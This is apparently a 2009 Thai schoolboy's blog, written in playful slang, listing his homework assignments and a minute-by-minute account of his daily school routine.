    แล้วก้อเริ่มร้องโอ้เยStyle AmericanStandard
    แล้วหลังจากนั้น(หลังจากมีฟามสุข)
    ก้อเริ่มจาคิดถึงความทุกข์ที่สุดยามอยู่บ้าน
    นั่นคื่อ................"การบ้าน"
    (ฟังดูน่ากลัวกว่าตอนไจแอนชกโนบิตะอีก จิงๆนะ+o+)


    การบ้านวันนี้(แค่อ่านก้อน่ากัวแล้ว)
    Mathข้อ1.1-1.6
    การงานเอารูปที่ครูสั่งไปด้วย(ห้ามเอาแปรงไปแบบผม)
    Math+ ทําปกแฟ้มด้วย
    สังคม เย็บงานที่เพิ่งหั้ยไปด้วย
    ที่จําได้มีแค่นี้ล่ะ

    บาย Post by artnoi

    วันพุธที่ 27 พฤษภาคม พ.ศ. 2552

    ชีวิตประจําวันของท่านอาร์ทน้อย Post by artnoi

    รู้ไหม ผมเนี่ยมีชีวิตประจําวันที่แนวมาก
    เพราะผมทํางานทุกอย่างตรงกันหมดทุกวันเลย
    (จิงๆมันถูกบังคับหั้ยทํา)
    ผมทําทุกอย่างเพื่อจุดประสงค์เดียวคือ
    จะได้นอนอย่างเป็นสุขไม่ต้องกังวลอะไร
    (จิงๆแล้วผมทําทุกอย่างตรงเวลามากกว่าJoe Kingman
    ในเรื่องGame Planซะอีก)และเพื่อจุดประสงค์รองคือ
    ได้ดูละครและร้องโอ้เยอย่างมีความสุข

    5:30ตื่นนอนอย่างงัวเงีย
    5:31ไปปลดทุกข์ตอนเช้า
    (ผมชอบที่สุดในตอนเช้าเลยเพราะมันสบาย)
    5:35แปรงฟัน
    5:36ล้างหน้าอาบนํ้าแต่งตัวภายใน7นาที
    5:43เช็คตารางเรียนจัดหนังสือเพื่อทําบันทึกการอ่าน
    และเตรียมเอกสารของพ่อ
    (ส่วนใหญ่จะเอาไปอวด)
    5:45ใส่รองเท้า
    5:45ไปโรงเรียน
    ุ6:20เดินตรงทางเดินที่bodin
    6:30ยืนรอประตูเปิด
    (ยามมาช้าจัด)
    6:49ยามเปิดประตู(ปามานเอา)
    6:55ถึงห้องเรียน
    2:20,3:10ออกจากห้องเรียนด้วยความมั่นใจ,
    ไปรอพ่อที่ห้องสมุด
    2:35,3:25กลับบ้าน(จิงๆแล้วไปแฟชั่น)
    4:30ถีงบ้าน

    ที่เหลือบอกไม่ได้
    มานเปนความลับ
    (จิงๆแล้วขี้เกยดพิม)
    แต่บอกหั้ยก้อด้ายว่า
    ทําการบ้านก่อนเขียนblog

    Post by Artnoi

    Artnoi's Google